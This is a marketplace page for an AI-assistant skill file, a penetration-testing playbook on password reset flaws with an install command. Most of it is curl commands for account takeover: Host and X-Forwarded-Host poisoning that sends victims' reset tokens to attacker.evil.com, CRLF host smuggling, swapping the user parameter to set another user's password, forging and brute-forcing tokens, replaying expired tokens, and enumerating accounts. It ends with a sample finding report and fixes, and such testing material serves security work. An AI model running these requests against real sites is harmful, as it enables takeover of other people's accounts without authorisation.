菜单
Identifying and exploiting weaknesses in password reset flows including weak reset tokens, host header poisoning, IDOR on the identification parameter, missing session invalidation, and account enumeration.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/xalgord/xalgorix --skill testing-password-reset-flaws命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | testing-password-reset-flaws |
| description | Identifying and exploiting weaknesses in password reset flows including weak reset tokens, host header poisoning, IDOR on the identification parameter, missing session invalidation, and account enumeration. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","password-reset","host-header-injection","account-takeover","idor","owasp","web-security"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
Password reset is one of the most reliable account-takeover surfaces. For every reset flow, work through this checklist:
Host: or X-Forwarded-Host: attacker.com (also try
X-Forwarded-Server, X-Host, dangling Host: target.com:@attacker.com,
absolute request line). If the emailed link points to attacker.com/reset?token=...,
the victim's token is exfiltrated when they click — zero-interaction takeover.user, email, user_id, or account alongside the token. Swap it to the
victim while keeping your own valid token to set the victim's password.http://, leaking the token over
cleartext and via referrers.expires=/ts=/timestamp= that the server trusts — tamper the value to
resurrect an expired token.Referer to third-party
assets loaded on the reset page, and in browser history / server logs.Walk the full flow and record every parameter and the email link structure.
# 1) Request a reset for an account you control; capture the request
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@yourinbox.com"}'
# 2) Read the email you receive and note the link shape, e.g.:
# https://target.example.com/reset?token=8f2a9c...&user=1337
# (record token length/charset and any user/email/expires params)
# 3) Capture the confirm/submit request that actually sets the new password
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"8f2a9c...","user":1337,"password":"NewPassw0rd!"}'
Force the emailed link to point at an attacker-controlled host.
# Variant A: override the Host header outright
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Host: attacker.evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@corp.com"}'
# Variant B: X-Forwarded-Host (and siblings) behind a proxy
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Host: target.example.com" \
-H "X-Forwarded-Host: attacker.evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@corp.com"}'
# Other headers/tricks to try one at a time:
# X-Forwarded-Server: attacker.evil.com
# X-Host: attacker.evil.com
# X-Forwarded-Host: attacker.evil.com, target.example.com
# Host: target.example.com:@attacker.evil.com
# Host: target.example.com\n\rHost: attacker.evil.com (CRLF dual host)
# RESULT: inspect the victim's email (or your Collaborator/catch-all). If the
# reset link reads https://attacker.evil.com/reset?token=... the token is
# delivered to you when the victim clicks => account takeover.
Determine whether tokens are predictable or guessable.
# Rapidly request many resets and diff the tokens
for i in $(seq 1 20); do
curl -s -X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" \
-d '{"email":"attacker+'"$i"'@yourinbox.com"}' >/dev/null
# then read each email and append the token to tokens.txt
done
# Look for structure:
# - incrementing integers / counters
# - unix timestamps or millisecond clocks (predict from request time)
# - short hex/base36 (brute forceable)
# - md5(email) or md5(userid) style (forgeable offline)
# Statistical entropy on captured tokens with Burp Sequencer:
# Burp > send a forgot-password response containing the token to Sequencer
# > Live capture thousands > Analyze for low effective bits / patterns.
# If md5/sha of a known value is suspected, confirm:
echo -n "victim@corp.com" | md5sum
# compare to the victim's observed/derived token
Reset another user's password using your own valid token.
# Use a VALID token issued to YOUR account, but change the user/email param
# on the confirm step to the victim. If the server keys off the param instead
# of binding the token to the account, the victim's password is set.
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"<YOUR_VALID_TOKEN>","user":4242,"password":"Pwned123!"}'
# Variations to test:
# {"token":"<YOURS>","email":"victim@corp.com","password":"Pwned123!"}
# /api/password/reset?token=<YOURS>&user_id=4242 (param in query)
# parameter pollution: user=<you>&user=<victim>
# add the victim id in a header the backend trusts (X-User-Id: 4242)
# Confirm by logging in as the victim with the new password.
Test single-use semantics and link-expiry trust.
# --- Reuse after a successful reset ---
# Complete a reset with a token, then submit the SAME token again:
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"8f2a9c...","password":"Again123!"}'
# 200 = token not invalidated after use (reusable).
# --- Expiry bypass via date/time parameter ---
# If the link is .../reset?token=...&expires=1716000000 and the server trusts
# the param, push it into the future to revive an expired token:
curl -s -i "https://target.example.com/reset?token=OLD_EXPIRED&expires=9999999999"
# Also try removing the expires/ts param, or setting it to a far-future epoch.
# --- No session invalidation after reset ---
# Capture a victim session cookie BEFORE reset, perform the reset, then replay:
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: SESSIONID=victim-old..." \
"https://target.example.com/account" # 200 = old session survives reset
Check disclosure side-channels and transport security.
# --- Account enumeration via differing responses ---
# Existing vs non-existing account: compare body, status, and timing.
curl -s -o /dev/null -w "exists: %{http_code} %{time_total}\n" \
-X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" -d '{"email":"real@corp.com"}'
curl -s -o /dev/null -w "missing: %{http_code} %{time_total}\n" \
-X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" -d '{"email":"nobody-xyz@corp.com"}'
# Different message ("email sent" vs "no account"), code, or a consistent
# timing gap => username enumeration.
# --- Reset link over HTTP ---
# Inspect the emailed link scheme; http:// leaks the token over cleartext.
# --- Token leakage via Referer to third parties ---
# Load the reset page through Burp and check outbound requests: if the page
# embeds external analytics/fonts/images, the Referer header carries
# ...?token=... to those third-party domains, leaking the token.
| Concept | Description |
|---|---|
| Host Header Poisoning | Server builds the reset link from a client-controlled Host/X-Forwarded-Host, sending the token to an attacker domain |
| Token Entropy | Unpredictability of the reset token; low entropy or structure enables guessing/forgery |
| Sequential Tokens | Tokens derived from counters/timestamps that can be predicted from a known value |
| Single-Use Semantics | A reset token must be invalidated immediately after one successful use |
| Identification-Parameter IDOR | Token not bound to the account; swapping user/email resets another user |
| Session Invalidation | All sessions and other outstanding tokens must be revoked when a password changes |
| Expiry Trust | Server trusting a client-supplied expires/ts param instead of server-side state |
| Account Enumeration | Differing reset responses/timing reveal which emails are registered |
| Token Leakage | Reset token exposed via HTTP transport, Referer to third parties, logs, or history |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercept/modify reset requests, inject Host headers, replay tokens |
| Burp Sequencer | Measure reset-token entropy across many captured samples |
| Burp Collaborator / catch-all domain | Observe poisoned reset links landing on an attacker host |
| Burp Intruder / ffuf | Brute force short/sequential tokens and enumerate accounts |
| curl / httpie | Manual Host-header injection, IDOR parameter swaps, token replay |
| OWASP ZAP | Free proxy alternative for header tampering and fuzzing |
The application generates the reset link using the incoming X-Forwarded-Host header. An attacker submits a reset for the victim with X-Forwarded-Host: attacker.com; the victim receives an email whose link points to attacker.com/reset?token=.... Clicking it leaks the token, enabling takeover.
The reset confirm endpoint accepts {"token":..., "email":...} but only validates that the token is non-expired, not that it belongs to that email. An attacker uses their own valid token with the victim's email to set the victim's password.
Reset tokens are md5(email + small_counter). After observing the structure from their own resets, the attacker computes the victim's token offline and resets without any email access.
After a reset, the old token still works and the victim's pre-reset sessions remain valid, so a previously stolen session or a re-sent token retains access.
## Password Reset Finding
**Vulnerability**: Account Takeover via Host Header Poisoning
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/password/forgot (reset link generation)
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Send POST /api/password/forgot for victim@corp.com with header X-Forwarded-Host: attacker.evil.com
2. Observe (via catch-all/Collaborator) the victim's reset email links to https://attacker.evil.com/reset?token=...
3. When the victim opens the link, the token is delivered to the attacker host
4. Replay the token against POST /api/password/reset to set a new password and log in as the victim
### Tested Weaknesses
| Test | Result |
|------|--------|
| Host / X-Forwarded-Host poisoning | Link host attacker-controlled |
| Identification-param IDOR | email param swappable |
| Token reuse after success | Reusable |
| Session invalidation after reset | Old sessions survive |
| Account enumeration | Distinct message for unknown email |
| Reset link transport | http:// (token in cleartext) |
### Impact
- Zero-to-one-click account takeover of any user by email address
- Reusable tokens and surviving sessions defeat remediation
- Enumeration enables targeted attacks at scale
### Recommendation
1. Build reset links from a server-side allowlisted canonical host; ignore Host/X-Forwarded-Host
2. Bind the token to the account server-side; never trust client user/email/expires params
3. Generate 128-bit CSPRNG tokens, single-use, short-lived, delivered only over HTTPS
4. Invalidate all sessions and outstanding tokens on successful reset
5. Return an identical, generic response for existing and non-existing accounts